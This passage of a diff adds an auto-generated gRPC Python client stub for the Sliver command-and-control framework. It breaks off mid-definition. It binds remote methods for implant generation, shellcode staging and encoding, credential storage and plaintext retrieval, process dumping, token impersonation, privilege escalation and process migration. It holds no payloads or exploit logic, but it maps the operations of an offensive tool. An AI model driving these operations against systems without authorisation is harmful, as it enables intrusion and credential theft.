diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py
new file mode 100644
index 0000000..4154eea
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py
@@ -0,0 +1,5508 @@
+# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
+"""Client and server classes corresponding to protobuf-defined services."""
+import grpc
+
+from sliver_service.pb.clientpb import client_pb2 as clientpb_dot_client__pb2
+from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2
+from sliver_service.pb.sliverpb import sliver_pb2 as sliverpb_dot_sliver__pb2
+
+
+class SliverRPCStub(object):
+ """Missing associated documentation comment in .proto file."""
+
+ def __init__(self, channel):
+ """Constructor.
+
+ Args:
+ channel: A grpc.Channel.
+ """
+ self.GetVersion = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetVersion',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Version.FromString,
+ )
+ self.ClientConsoleLog = channel.stream_unary(
+ '/rpcpb.SliverRPC/ClientConsoleLog',
+ request_serializer=clientpb_dot_client__pb2.ClientConsoleLogData.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.GetOperators = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetOperators',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Operators.FromString,
+ )
+ self.Kill = channel.unary_unary(
+ '/rpcpb.SliverRPC/Kill',
+ request_serializer=sliverpb_dot_sliver__pb2.KillReq.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Reconfigure = channel.unary_unary(
+ '/rpcpb.SliverRPC/Reconfigure',
+ request_serializer=sliverpb_dot_sliver__pb2.ReconfigureReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Reconfigure.FromString,
+ )
+ self.Rename = channel.unary_unary(
+ '/rpcpb.SliverRPC/Rename',
+ request_serializer=clientpb_dot_client__pb2.RenameReq.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.GetSessions = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetSessions',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Sessions.FromString,
+ )
+ self.GetBeacons = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetBeacons',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Beacons.FromString,
+ )
+ self.GetBeacon = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetBeacon',
+ request_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Beacon.FromString,
+ )
+ self.RmBeacon = channel.unary_unary(
+ '/rpcpb.SliverRPC/RmBeacon',
+ request_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.GetBeaconTasks = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetBeaconTasks',
+ request_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.BeaconTasks.FromString,
+ )
+ self.GetBeaconTaskContent = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetBeaconTaskContent',
+ request_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString,
+ )
+ self.CancelBeaconTask = channel.unary_unary(
+ '/rpcpb.SliverRPC/CancelBeaconTask',
+ request_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString,
+ )
+ self.MonitorStart = channel.unary_unary(
+ '/rpcpb.SliverRPC/MonitorStart',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Response.FromString,
+ )
+ self.MonitorStop = channel.unary_unary(
+ '/rpcpb.SliverRPC/MonitorStop',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.GetJobs = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetJobs',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Jobs.FromString,
+ )
+ self.KillJob = channel.unary_unary(
+ '/rpcpb.SliverRPC/KillJob',
+ request_serializer=clientpb_dot_client__pb2.KillJobReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.KillJob.FromString,
+ )
+ self.StartMTLSListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartMTLSListener',
+ request_serializer=clientpb_dot_client__pb2.MTLSListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.MTLSListener.FromString,
+ )
+ self.StartWGListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartWGListener',
+ request_serializer=clientpb_dot_client__pb2.WGListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.WGListener.FromString,
+ )
+ self.StartDNSListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartDNSListener',
+ request_serializer=clientpb_dot_client__pb2.DNSListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.DNSListener.FromString,
+ )
+ self.StartHTTPSListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartHTTPSListener',
+ request_serializer=clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.HTTPListener.FromString,
+ )
+ self.StartHTTPListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartHTTPListener',
+ request_serializer=clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.HTTPListener.FromString,
+ )
+ self.StartTCPStagerListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartTCPStagerListener',
+ request_serializer=clientpb_dot_client__pb2.StagerListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.StagerListener.FromString,
+ )
+ self.StartHTTPStagerListener = channel.unary_unary(
+ '/rpcpb.SliverRPC/StartHTTPStagerListener',
+ request_serializer=clientpb_dot_client__pb2.StagerListenerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.StagerListener.FromString,
+ )
+ self.LootAdd = channel.unary_unary(
+ '/rpcpb.SliverRPC/LootAdd',
+ request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ )
+ self.LootRm = channel.unary_unary(
+ '/rpcpb.SliverRPC/LootRm',
+ request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.LootUpdate = channel.unary_unary(
+ '/rpcpb.SliverRPC/LootUpdate',
+ request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ )
+ self.LootContent = channel.unary_unary(
+ '/rpcpb.SliverRPC/LootContent',
+ request_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ )
+ self.LootAll = channel.unary_unary(
+ '/rpcpb.SliverRPC/LootAll',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.AllLoot.FromString,
+ )
+ self.Creds = channel.unary_unary(
+ '/rpcpb.SliverRPC/Creds',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Credentials.FromString,
+ )
+ self.CredsAdd = channel.unary_unary(
+ '/rpcpb.SliverRPC/CredsAdd',
+ request_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.CredsRm = channel.unary_unary(
+ '/rpcpb.SliverRPC/CredsRm',
+ request_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.CredsUpdate = channel.unary_unary(
+ '/rpcpb.SliverRPC/CredsUpdate',
+ request_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.GetCredByID = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetCredByID',
+ request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Credential.FromString,
+ )
+ self.GetCredsByHashType = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetCredsByHashType',
+ request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Credentials.FromString,
+ )
+ self.GetPlaintextCredsByHashType = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetPlaintextCredsByHashType',
+ request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Credentials.FromString,
+ )
+ self.CredsSniffHashType = channel.unary_unary(
+ '/rpcpb.SliverRPC/CredsSniffHashType',
+ request_serializer=clientpb_dot_client__pb2.Credential.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Credential.FromString,
+ )
+ self.Hosts = channel.unary_unary(
+ '/rpcpb.SliverRPC/Hosts',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.AllHosts.FromString,
+ )
+ self.Host = channel.unary_unary(
+ '/rpcpb.SliverRPC/Host',
+ request_serializer=clientpb_dot_client__pb2.Host.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Host.FromString,
+ )
+ self.HostRm = channel.unary_unary(
+ '/rpcpb.SliverRPC/HostRm',
+ request_serializer=clientpb_dot_client__pb2.Host.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.HostIOCRm = channel.unary_unary(
+ '/rpcpb.SliverRPC/HostIOCRm',
+ request_serializer=clientpb_dot_client__pb2.IOC.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Generate = channel.unary_unary(
+ '/rpcpb.SliverRPC/Generate',
+ request_serializer=clientpb_dot_client__pb2.GenerateReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Generate.FromString,
+ )
+ self.GenerateExternal = channel.unary_unary(
+ '/rpcpb.SliverRPC/GenerateExternal',
+ request_serializer=clientpb_dot_client__pb2.ExternalGenerateReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ExternalImplantConfig.FromString,
+ )
+ self.GenerateExternalSaveBuild = channel.unary_unary(
+ '/rpcpb.SliverRPC/GenerateExternalSaveBuild',
+ request_serializer=clientpb_dot_client__pb2.ExternalImplantBinary.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.GenerateExternalGetImplantConfig = channel.unary_unary(
+ '/rpcpb.SliverRPC/GenerateExternalGetImplantConfig',
+ request_serializer=clientpb_dot_client__pb2.ImplantConfig.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ExternalImplantConfig.FromString,
+ )
+ self.BuilderRegister = channel.unary_stream(
+ '/rpcpb.SliverRPC/BuilderRegister',
+ request_serializer=clientpb_dot_client__pb2.Builder.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Event.FromString,
+ )
+ self.BuilderTrigger = channel.unary_unary(
+ '/rpcpb.SliverRPC/BuilderTrigger',
+ request_serializer=clientpb_dot_client__pb2.Event.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Builders = channel.unary_unary(
+ '/rpcpb.SliverRPC/Builders',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Builders.FromString,
+ )
+ self.CrackstationRegister = channel.unary_stream(
+ '/rpcpb.SliverRPC/CrackstationRegister',
+ request_serializer=clientpb_dot_client__pb2.Crackstation.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Event.FromString,
+ )
+ self.CrackstationTrigger = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackstationTrigger',
+ request_serializer=clientpb_dot_client__pb2.Event.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.CrackstationBenchmark = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackstationBenchmark',
+ request_serializer=clientpb_dot_client__pb2.CrackBenchmark.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Crackstations = channel.unary_unary(
+ '/rpcpb.SliverRPC/Crackstations',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Crackstations.FromString,
+ )
+ self.CrackTaskByID = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackTaskByID',
+ request_serializer=clientpb_dot_client__pb2.CrackTask.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.CrackTask.FromString,
+ )
+ self.CrackTaskUpdate = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackTaskUpdate',
+ request_serializer=clientpb_dot_client__pb2.CrackTask.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.CrackFilesList = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackFilesList',
+ request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.CrackFiles.FromString,
+ )
+ self.CrackFileCreate = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackFileCreate',
+ request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.CrackFile.FromString,
+ )
+ self.CrackFileChunkUpload = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackFileChunkUpload',
+ request_serializer=clientpb_dot_client__pb2.CrackFileChunk.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.CrackFileChunkDownload = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackFileChunkDownload',
+ request_serializer=clientpb_dot_client__pb2.CrackFileChunk.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.CrackFileChunk.FromString,
+ )
+ self.CrackFileComplete = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackFileComplete',
+ request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.CrackFileDelete = channel.unary_unary(
+ '/rpcpb.SliverRPC/CrackFileDelete',
+ request_serializer=clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Regenerate = channel.unary_unary(
+ '/rpcpb.SliverRPC/Regenerate',
+ request_serializer=clientpb_dot_client__pb2.RegenerateReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Generate.FromString,
+ )
+ self.ImplantBuilds = channel.unary_unary(
+ '/rpcpb.SliverRPC/ImplantBuilds',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ImplantBuilds.FromString,
+ )
+ self.DeleteImplantBuild = channel.unary_unary(
+ '/rpcpb.SliverRPC/DeleteImplantBuild',
+ request_serializer=clientpb_dot_client__pb2.DeleteReq.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Canaries = channel.unary_unary(
+ '/rpcpb.SliverRPC/Canaries',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Canaries.FromString,
+ )
+ self.GenerateWGClientConfig = channel.unary_unary(
+ '/rpcpb.SliverRPC/GenerateWGClientConfig',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.WGClientConfig.FromString,
+ )
+ self.GenerateUniqueIP = channel.unary_unary(
+ '/rpcpb.SliverRPC/GenerateUniqueIP',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.UniqueWGIP.FromString,
+ )
+ self.ImplantProfiles = channel.unary_unary(
+ '/rpcpb.SliverRPC/ImplantProfiles',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ImplantProfiles.FromString,
+ )
+ self.DeleteImplantProfile = channel.unary_unary(
+ '/rpcpb.SliverRPC/DeleteImplantProfile',
+ request_serializer=clientpb_dot_client__pb2.DeleteReq.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.SaveImplantProfile = channel.unary_unary(
+ '/rpcpb.SliverRPC/SaveImplantProfile',
+ request_serializer=clientpb_dot_client__pb2.ImplantProfile.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ImplantProfile.FromString,
+ )
+ self.MsfStage = channel.unary_unary(
+ '/rpcpb.SliverRPC/MsfStage',
+ request_serializer=clientpb_dot_client__pb2.MsfStagerReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.MsfStager.FromString,
+ )
+ self.ShellcodeRDI = channel.unary_unary(
+ '/rpcpb.SliverRPC/ShellcodeRDI',
+ request_serializer=clientpb_dot_client__pb2.ShellcodeRDIReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ShellcodeRDI.FromString,
+ )
+ self.GetCompiler = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetCompiler',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Compiler.FromString,
+ )
+ self.ShellcodeEncoder = channel.unary_unary(
+ '/rpcpb.SliverRPC/ShellcodeEncoder',
+ request_serializer=clientpb_dot_client__pb2.ShellcodeEncodeReq.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ShellcodeEncode.FromString,
+ )
+ self.ShellcodeEncoderMap = channel.unary_unary(
+ '/rpcpb.SliverRPC/ShellcodeEncoderMap',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.ShellcodeEncoderMap.FromString,
+ )
+ self.TrafficEncoderMap = channel.unary_unary(
+ '/rpcpb.SliverRPC/TrafficEncoderMap',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.TrafficEncoderMap.FromString,
+ )
+ self.TrafficEncoderAdd = channel.unary_unary(
+ '/rpcpb.SliverRPC/TrafficEncoderAdd',
+ request_serializer=clientpb_dot_client__pb2.TrafficEncoder.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.TrafficEncoderTests.FromString,
+ )
+ self.TrafficEncoderRm = channel.unary_unary(
+ '/rpcpb.SliverRPC/TrafficEncoderRm',
+ request_serializer=clientpb_dot_client__pb2.TrafficEncoder.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.Websites = channel.unary_unary(
+ '/rpcpb.SliverRPC/Websites',
+ request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Websites.FromString,
+ )
+ self.Website = channel.unary_unary(
+ '/rpcpb.SliverRPC/Website',
+ request_serializer=clientpb_dot_client__pb2.Website.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Website.FromString,
+ )
+ self.WebsiteRemove = channel.unary_unary(
+ '/rpcpb.SliverRPC/WebsiteRemove',
+ request_serializer=clientpb_dot_client__pb2.Website.SerializeToString,
+ response_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ )
+ self.WebsiteAddContent = channel.unary_unary(
+ '/rpcpb.SliverRPC/WebsiteAddContent',
+ request_serializer=clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Website.FromString,
+ )
+ self.WebsiteUpdateContent = channel.unary_unary(
+ '/rpcpb.SliverRPC/WebsiteUpdateContent',
+ request_serializer=clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Website.FromString,
+ )
+ self.WebsiteRemoveContent = channel.unary_unary(
+ '/rpcpb.SliverRPC/WebsiteRemoveContent',
+ request_serializer=clientpb_dot_client__pb2.WebsiteRemoveContent.SerializeToString,
+ response_deserializer=clientpb_dot_client__pb2.Website.FromString,
+ )
+ self.Ping = channel.unary_unary(
+ '/rpcpb.SliverRPC/Ping',
+ request_serializer=sliverpb_dot_sliver__pb2.Ping.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Ping.FromString,
+ )
+ self.Ps = channel.unary_unary(
+ '/rpcpb.SliverRPC/Ps',
+ request_serializer=sliverpb_dot_sliver__pb2.PsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Ps.FromString,
+ )
+ self.Terminate = channel.unary_unary(
+ '/rpcpb.SliverRPC/Terminate',
+ request_serializer=sliverpb_dot_sliver__pb2.TerminateReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Terminate.FromString,
+ )
+ self.Ifconfig = channel.unary_unary(
+ '/rpcpb.SliverRPC/Ifconfig',
+ request_serializer=sliverpb_dot_sliver__pb2.IfconfigReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Ifconfig.FromString,
+ )
+ self.Netstat = channel.unary_unary(
+ '/rpcpb.SliverRPC/Netstat',
+ request_serializer=sliverpb_dot_sliver__pb2.NetstatReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Netstat.FromString,
+ )
+ self.Ls = channel.unary_unary(
+ '/rpcpb.SliverRPC/Ls',
+ request_serializer=sliverpb_dot_sliver__pb2.LsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Ls.FromString,
+ )
+ self.Cd = channel.unary_unary(
+ '/rpcpb.SliverRPC/Cd',
+ request_serializer=sliverpb_dot_sliver__pb2.CdReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Pwd.FromString,
+ )
+ self.Pwd = channel.unary_unary(
+ '/rpcpb.SliverRPC/Pwd',
+ request_serializer=sliverpb_dot_sliver__pb2.PwdReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Pwd.FromString,
+ )
+ self.Mv = channel.unary_unary(
+ '/rpcpb.SliverRPC/Mv',
+ request_serializer=sliverpb_dot_sliver__pb2.MvReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Mv.FromString,
+ )
+ self.Rm = channel.unary_unary(
+ '/rpcpb.SliverRPC/Rm',
+ request_serializer=sliverpb_dot_sliver__pb2.RmReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Rm.FromString,
+ )
+ self.Mkdir = channel.unary_unary(
+ '/rpcpb.SliverRPC/Mkdir',
+ request_serializer=sliverpb_dot_sliver__pb2.MkdirReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Mkdir.FromString,
+ )
+ self.Download = channel.unary_unary(
+ '/rpcpb.SliverRPC/Download',
+ request_serializer=sliverpb_dot_sliver__pb2.DownloadReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Download.FromString,
+ )
+ self.Upload = channel.unary_unary(
+ '/rpcpb.SliverRPC/Upload',
+ request_serializer=sliverpb_dot_sliver__pb2.UploadReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Upload.FromString,
+ )
+ self.Chmod = channel.unary_unary(
+ '/rpcpb.SliverRPC/Chmod',
+ request_serializer=sliverpb_dot_sliver__pb2.ChmodReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Chmod.FromString,
+ )
+ self.Chown = channel.unary_unary(
+ '/rpcpb.SliverRPC/Chown',
+ request_serializer=sliverpb_dot_sliver__pb2.ChownReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Chown.FromString,
+ )
+ self.Chtimes = channel.unary_unary(
+ '/rpcpb.SliverRPC/Chtimes',
+ request_serializer=sliverpb_dot_sliver__pb2.ChtimesReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Chtimes.FromString,
+ )
+ self.MemfilesList = channel.unary_unary(
+ '/rpcpb.SliverRPC/MemfilesList',
+ request_serializer=sliverpb_dot_sliver__pb2.MemfilesListReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Ls.FromString,
+ )
+ self.MemfilesAdd = channel.unary_unary(
+ '/rpcpb.SliverRPC/MemfilesAdd',
+ request_serializer=sliverpb_dot_sliver__pb2.MemfilesAddReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.MemfilesAdd.FromString,
+ )
+ self.MemfilesRm = channel.unary_unary(
+ '/rpcpb.SliverRPC/MemfilesRm',
+ request_serializer=sliverpb_dot_sliver__pb2.MemfilesRmReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.MemfilesRm.FromString,
+ )
+ self.ProcessDump = channel.unary_unary(
+ '/rpcpb.SliverRPC/ProcessDump',
+ request_serializer=sliverpb_dot_sliver__pb2.ProcessDumpReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ProcessDump.FromString,
+ )
+ self.RunAs = channel.unary_unary(
+ '/rpcpb.SliverRPC/RunAs',
+ request_serializer=sliverpb_dot_sliver__pb2.RunAsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RunAs.FromString,
+ )
+ self.Impersonate = channel.unary_unary(
+ '/rpcpb.SliverRPC/Impersonate',
+ request_serializer=sliverpb_dot_sliver__pb2.ImpersonateReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Impersonate.FromString,
+ )
+ self.RevToSelf = channel.unary_unary(
+ '/rpcpb.SliverRPC/RevToSelf',
+ request_serializer=sliverpb_dot_sliver__pb2.RevToSelfReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.RevToSelf.FromString,
+ )
+ self.GetSystem = channel.unary_unary(
+ '/rpcpb.SliverRPC/GetSystem',
+ request_serializer=clientpb_dot_client__pb2.GetSystemReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.GetSystem.FromString,
+ )
+ self.Task = channel.unary_unary(
+ '/rpcpb.SliverRPC/Task',
+ request_serializer=sliverpb_dot_sliver__pb2.TaskReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Task.FromString,
+ )
+ self.Msf = channel.unary_unary(
+ '/rpcpb.SliverRPC/Msf',
+ request_serializer=clientpb_dot_client__pb2.MSFReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Task.FromString,
+ )
+ self.MsfRemote = channel.unary_unary(
+ '/rpcpb.SliverRPC/MsfRemote',
+ request_serializer=clientpb_dot_client__pb2.MSFRemoteReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Task.FromString,
+ )
+ self.ExecuteAssembly = channel.unary_unary(
+ '/rpcpb.SliverRPC/ExecuteAssembly',
+ request_serializer=sliverpb_dot_sliver__pb2.ExecuteAssemblyReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.ExecuteAssembly.FromString,
+ )
+ self.Migrate = channel.unary_unary(
+ '/rpcpb.SliverRPC/Migrate',
+ request_serializer=clientpb_dot_client__pb2.MigrateReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Migrate.FromString,
+ )
+ self.Execute = channel.unary_unary(
+ '/rpcpb.SliverRPC/Execute',
+ request_serializer=sliverpb_dot_sliver__pb2.ExecuteReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Execute.FromString,
+ )
+ self.ExecuteWindows = channel.unary_unary(
+ '/rpcpb.SliverRPC/ExecuteWindows',
+ request_serializer=sliverpb_dot_sliver__pb2.ExecuteWindowsReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Execute.FromString,
+ )
+ self.Sideload = channel.unary_unary(
+ '/rpcpb.SliverRPC/Sideload',
+ request_serializer=sliverpb_dot_sliver__pb2.SideloadReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Sideload.FromString,
+ )
+ self.SpawnDll = channel.unary_unary(
+ '/rpcpb.SliverRPC/SpawnDll',
+ request_serializer=sliverpb_dot_sliver__pb2.InvokeSpawnDllReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.SpawnDll.FromString,
+ )
+ self.Screenshot = channel.unary_unary(
+ '/rpcpb.SliverRPC/Screenshot',
+ request_serializer=sliverpb_dot_sliver__pb2.ScreenshotReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.Screenshot.FromString,
+ )
+ self.CurrentTokenOwner = channel.unary_unary(
+ '/rpcpb.SliverRPC/CurrentTokenOwner',
+ request_serializer=sliverpb_dot_sliver__pb2.CurrentTokenOwnerReq.SerializeToString,
+ response_deserializer=sliverpb_dot_sliver__pb2.CurrentTokenOwner.FromString,
+ )
+ self.PivotStartListener = channel.unary_unary(
